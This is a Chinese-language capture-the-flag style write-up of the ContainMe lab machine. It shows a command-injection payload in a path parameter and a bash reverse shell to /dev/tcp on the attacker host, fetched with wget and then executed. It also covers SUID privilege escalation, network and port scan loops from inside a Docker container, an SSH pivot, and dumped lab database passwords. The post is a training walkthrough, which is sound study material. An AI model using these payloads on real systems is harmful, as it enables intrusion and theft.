【Vulnhub靶机】THM-ContainMe-v4

靶机地址:ContainMe: 1

下载地址:THM-ContainMe-v4.ova (Size: 2.2 GB)
难易程度:

信息收集

主机发现

sudo arp-scan -l   

image-20230916193734432

端口扫描

sudo nmap -A -p- 192.168.8。9

image-20230916194135574

目录扫描

sudo dirb http://192.168.8.9

image-20230916194149685

dirsearch -u 192.168.8.9 -i 200

image-20230916194236035

发现三个文件index.php,index.html,info.php

依次访问看一下

index.html

image-20230916194305959


info.php

image-20230916194317899

返回了php探针


index.php

image-20230916194333387

页面结果好像执行了ls -la命令

查看页面源代码:

image-20230916194350512

漏洞利用

模糊测试 fuzz ?

什么是fuzz

什么是模糊测试?

wfuzz使用1

wfuzz使用2

wfuzz自动字典位置/usr/share/wfuzz/wordlist

wfuzz -c -u http://192.168.80.139/index.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt --hh 329

发现了参数path,手动确认一下:

http://192.168.80.139/index.php?path=/etc/passwd

image-20230916194428312

image-20230916194510571

http://192.168.8.9/index.php?path=/etc

image-20230916194520924

http://192.168.8.9/index.php?path=;id

image-20230916194547965

发现确实存在命令执行漏洞

查看那个目录可以写入文件

http://192.168.8.9/index.php?path=;%20ls%20-l%20%20/

image-20230916194636688

kali上开启http服务

python -m http.server 80

image-20230916194818827

写一个反弹shell

#!/bin/bash
# code.sh
bash -i &> /dev/tcp/192.168.8.8/6868 0>&1;

在地址栏中输入

http://192.168.8.9/index.php?path=;wget -P /tmp 192.168.8.8/code.sh;ls -la /tmp;

image-20230916195149426

写入脚本文件后在kali端开启对6868端口的监听

nc -lvp 6868

image-20230906200735088

然后利用命令执行漏洞使用bash进行执行code.sh文件,命令:bash /tmp/code.sh,成功获得shell权限

image-20230916200023465

容器内提权

查看是否有能以root身份执行的文件

 sudo -l

image-20230906202540057

查看/home

image-20230906201530022

  find / -user root -perm /4000 2>/dev/null

image-20230906202642258

发现mike用户家目录下的1cryptupx和使用find命令查看出来的suid中都有类似的crypt

那就cd /usr/share/man/zh_TW/ 执行该crypt文件,看看效果

image-20230906203112538

image-20230916200207495

拿到交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

拿到root后,并没有拿到真正的权限,而在处在Docker容器里

image-20230916200951062

容器外提权

扫描存活的主机

for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done

image-20230916201003072

扫描端口

for port in {1..65535}; do
   echo >/dev/tcp/172.16.20.6/$port &&
     echo "port $port is open"
 done 2>/dev/null |grep open

image-20230916200801683

利用ssh密钥登陆到mike用户上

image-20230916201133433

image-20230916201149939

image-20230916201232267

查看开放的端口

image-20230916201314460

连接Mysql

image-20230916201350085

获取数据

image-20230916201455678

+-------+---------------------+
| login | password            |
+-------+---------------------+
| root  | bjsig4868fgjjeog    |
| mike  | WhatAreYouDoingHere |
+-------+---------------------+

image-20230916201658086

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

过期的秋刀鱼-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值